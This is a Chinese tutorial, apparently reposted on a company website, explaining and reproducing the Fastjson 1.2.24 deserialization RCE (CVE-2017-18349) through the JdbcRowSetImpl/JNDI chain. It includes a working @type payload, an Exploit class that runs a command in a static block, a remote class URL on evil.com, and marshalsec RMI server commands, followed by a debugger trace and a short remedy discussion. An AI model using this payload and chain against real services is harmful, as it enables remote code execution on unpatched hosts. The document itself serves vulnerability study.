资讯动态

Fastjson 1.2.24 反序列化漏洞详解

发布时间:2026/8/9 20:26:06 来源:尧图企业网站定制
Fastjson 反序列化漏洞这里我们来详细讲解一下 Fastjson 反序列化漏洞的原理毕竟我也是站在学生的角度来学习的会尽量详细将漏洞讲清楚。组件介绍Fastjson 是 Alibaba 公司开发的高性能库产品主要提供两个接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作产品报错使用不闭合花括号进行报错回显报错中往往带有 fastjson 字样。0x01 漏洞原理首先就是反序列化这是比较基础的概念这里我就不再赘述了。接着我们简单介绍一下 fastjson 的反序列化配合 RCE 的原理其中比较重要的是如果在序列化处理好的 json 数据中设置了类以及对应的属性值当代码调用 fastjson 库去执行反序列化操作的过程中就会自动调用该属性值对应的 setter 方法并且如果在 setter 方法中加载了恶意操作那么反序列化的过程中就会执行 setter 方法中的恶意代码这是对 fastjson 反序列化 RCE 漏洞最基础的认识。举个简单的例子这是一个类publicstaticclassUser{privateStringname;publicStringgetName(){returnname;}publicvoidsetName(Stringname){System.out.println(调用了 name 属性值的 setter 方法);this.namename;}}这是反序列化调用的代码使用的parseObject方法String json1 {\name\:\张三\}; System.out.println(JSON 字符串: json1); System.out.println(); User user JSON.parseObject(json1, User.class);最终输出的结果肯定就像上面所要打印的内容0x02 复现环境组件要求说明JDK版本 8u1218u121 以下无需额外参数Maven3.x构建 Spring Boot 靶场Fastjson版本 1.2.24复现 CVE-2017-18349JDK(8u101)下载网址https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html源代码可以让 AI 编写或者拿现成的代码任务是漏洞复现不应在代码的编写上浪费大量时间但是需要有 Java 代码基础。0x03 调用链梳理理解了上面的原理接下来就要考虑怎么主动调用恶意类达到我们的目的我们肯定是不能主动在目标网站的代码中主动添加恶意类的即使是对方网站的代码中存在危险函数比如Runtime.getRuntime().exec(command);我们在黑盒测试的过程中也是很难摸索该函数是在哪一个类中调用的因此我们就使用比较经典的JdbcRowSetImpl利用链也就是CVE-2017-18349官方一点的话术介绍是这样的基于com.sun.rowset.JdbcRowSetImpl类它的setDataSourceName()会访问 JNDIRMI/LDAP地址。 攻击者构造 JSONdataSourceName指向攻击者自己搭建的恶意 RMI/LDAP 服务。 目标服务解析 JSON实例化JdbcRowSetImpl触发 JNDI lookup远程加载恶意 Java 类类加载执行静态代码块完成 RCE。但是为什么要使用JdbcRowSetImplJdbcRowSetImplcom.sun.rowset.JdbcRowSetImpl是 JDK 自带的一个类它的本职工作是连接数据库// 正常用法: JdbcRowSetImpl rs new JdbcRowSetImpl(); rs.setDataSourceName(jdbc:mysql://数据库IP:3306/mydb); // 设置数据库地址 rs.setAutoCommit(true); // 打开自动提交 → 触发数据库连接 内部逻辑: setAutoCommit(true) → conn 为空, 调用 connect() → ctx.lookup(jdbc:mysql://数据库IP:3306/mydb) → 连接到数据库, 返回 DataSource 对象它的设计意图是拿DataSourceName数据库地址去连接数据库。但它用的是InitialContext.lookup()这套 JNDI 机制来做连接。关键就在这里lookup()这个函数不仅能处理jdbc:mysql://它还能处理rmi://和ldap://协议。JNDIJNDIJava Naming and Directory Interface是一个通用的命名查找接口支持多种协议你给它一个地址它帮你找到对应的对象。至于地址的协议是 jdbc、rmi 还是 ldap它不关心。攻击者利用的就是这一点把DataSourceName从jdbc:mysql://换成rmi://。如果是使用 RMI 加载的恶意对象那么为什么 RMI 能返回恶意对象RMI/LDAPRMIJava Remote Method Invocation是 Java 的远程方法调用机制。当你对一个 RMI 地址做lookup()时你的 JVM 连接到攻击者的 RMI 服务器RMI 服务器返回一个对象你的 JVM 使用这个对象攻击者的 RMI 服务器返回的不是普通对象而是一个javax.naming.ReferenceReferencerefnewReference(Exploit,// 类名Exploit,// 工厂类名http://evil.com:8080/// ★ 去哪里找这个类);这个Reference的作用是告诉你的 JVM“你需要一个 Exploit 类的对象我这里没有但你可以去 http://evil.com:8080/Exploit.class 下载。”如果 JDK 版本允许远程类加载JVM 真的会去下载并加载它。为什么加载恶意类就会执行命令Java-staticJava 有一个规则publicclassExploit{static{// ★ 类被加载到 JVM 时static{} 块就会自动执行 ★// 跟有没有 new Exploit() 没关系Runtime.getRuntime().exec(calc.exe);}}static{}是类初始化代码块在类被 ClassLoader 加载完成时JVM 会自动执行它也就达到了恶意代码自动执行的效果。完整调用链JSON payload: {type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:rmi://evil:1099/Exploit, autoCommit:true} Fastjson 做的事情: ① type → 加载 JdbcRowSetImpl 类 ② 反射 new JdbcRowSetImpl() ③ 调用 setDataSourceName(rmi://evil:1099/Exploit) ← 写入恶意 RMI 地址 ④ 调用 setAutoCommit(true) ← 触发 connect() JdbcRowSetImpl 做的事情: ⑤ connect() → ctx.lookup(rmi://evil:1099/Exploit) ← JNDI 查找 RMI 服务器做的事情: ⑥ 返回 Reference → 去 http://evil:8080/Exploit.class 下载 JVM 做的事情: ⑦ 从 HTTP 下载 Exploit.class ⑧ 加载类 → static{} 自动执行 → 攻击者命令被执行0x04 漏洞复现上面的漏洞环境靶场搭建好之后我们就要在攻击者的角度开始复现漏洞了攻击者将恶意类代码编译之后会生成.class字节码文件这里的两个文件都是我配合AI写好的漏洞利用程序javac -encoding UTF-8 Exploit.java javac -encoding UTF-8 ExploitServer.java方案一直接启动RMIHTTP服务这个文件直接将两个功能都实现了java ExploitServer方案二通过 python 启动HTTP服务对应端口 8000python -m http.server然后通过 marshalsec 启动RMI服务监听端口 1099java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://evil.com:8080/#Exploit 1099payload{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://127.0.0.1:1099/Exploit,autoCommit:true}我的漏洞靶场部署好之后是由图形化界面操作的可以直接在输入框中输入 JSON 数据将上面的 HTTP RMI 服务都准备好后直接输入 payload 就可以将 Calc 程序弹出来了非常轻松0x05 代码调试接下来我会通过代码跟进调试来进一步的展示完整的利用过程可以参考下面的断点分析有这样的几个关键函数断点 ① → JSON.parse() ← 漏洞入口用户输入到达这里 │ 断点 ② → DefaultJSONParser.parseObject() ← Fastjson 发现 type │ 断点 ③ → TypeUtils.loadClass() ← ★ 漏洞核心无校验加载类 │ 断点 ④ → JavaBeanDeserializer.deserialze() ← 反射填充字段 │ 断点 ⑤ → JdbcRowSetImpl.setDataSourceName() ← RMI 地址被写入 │ 断点 ⑥ → JdbcRowSetImpl.setAutoCommit() ← 触发 connect() │ 断点 ⑦ → JdbcRowSetImpl.connect() ← ctx.lookup() → JNDI 注入调试准备首先要将 cmd 中运行的服务器关闭然后我们在 IDAE 中打开代码找到 main 函数然后开启调试模式接着访问到服务器输入下面的 payload{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://127.0.0.1:1099/Exploit,autoCommit:true}注意这里要再断点打上之后再执行并且注意要打开 IDEA 的调试模式入口断点需要打的第一个断点是在用户输入的内容做反序列化的入口位置也就是parse()方法的位置接着通过 F7 进入函数调用的内部这里也是通过调试看到层层的方法调用链方法一就是 parse() 方法方法二是通过方法一回调的它们本质上是方法的重写这里可以看到方法二内部创建了DefaultJSONParser的实例parser接着通过parser调用方法三parser.parse()本质上就是DefaultJSONParser.parse()通过 F7 进入方法三的内部最终回调方法四两者只是方法的重写进入方法四中并通过 F8 单步执行调试函数逻辑最终执行到的位置创建了JSONObject类的实例并调用了parseObject方法这里创建的实例object并不是 this只是作为参数传进方法五中方法五本质上就是DefaultJSONParser.parseObject()方法DefaultJSONParser.parseObject()我们进入函数内部看看这里面的代码就比较多了我这里就简单分析一下这里代码放不全太多了parseObject(object, fieldName) ├── ① 边界检查 (token 是空对象、空数组等) ├── ② while(true) 循环 —— 逐个解析 key-value │ ├── 读取 key │ ├── 跳过 : │ ├── ★ 判断 key 是否为 type │ │ ├── 是 → 加载类 返回反序列化结果 │ │ └── 否 → 解析 value 塞进 map │ └── 遇到 , 继续遇到 } 返回 └── ③ finally 恢复上下文因此这里的代码逻辑简单来讲就是发现 type 并返回序列化结果TypeUtils.loadClass()中间通过 if 判断语句这段代码首先判断所传入的 payload 中是否有 type如果有就读取 type 的值 并加载类这段代码也是漏洞产生的核心因为没有校验加载类是否安全只要存在 type 就会加载导致任意类加载。JavaBeanDeserializer.deserialze()整个函数最终执行的结果回调了方法JavaBeanDeserializer.deserialze()用于反射填充字段JdbcRowSetImpl.setDataSourceName()通过JavaBeanDeserializer.deserialze()方法内部的第二个参数定位到JdbcRowSetImpl.setDataSourceName()位置该方法作用是将 RMI 地址写入JdbcRowSetImpl.setAutoCommit() / connect()在JdbcRowSetImpl类中调用了setAutoCommit()方法该方法用于配合connect()方法自动连接 RMI 地址ctx.lookup()connect()方法中通过执行lookup()函数配合getConnection()最终实现了 JNDI 注入通过上面的步骤执行也是成功的弹出 Cala 程序了0x06 漏洞总结走完一遍调试后再回头看这个漏洞核心问题其实也很简单:Fastjson 的 type 自动类型解析 → 没有任何校验 → 攻击者可以随便指一个危险的 JDK 自带类 → Fastjson 通过反射调用 setter → 触发该类的自动连接功能 → JNDI 注入 → 远程代码执行反过来想:如果 Fastjson 在TypeUtils.loadClass()里加一句:if(typeName.startsWith(com.sun.rowset.JdbcRowSetImpl)){thrownewJSONException(禁止使用该类!);}那这个漏洞就不存在了。这就是为什么 1.2.25 版本加了黑名单、后来又加了 autoType 关闭开关。整个漏洞的精彩之处在于:Fastjson 本身没有代码执行的能力JdbcRowSetImpl本身也不是恶意类但通过type把两者串在一起就形成了一条完整的 RCE 链当我们通过调试器走一遍就什么都明白了。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价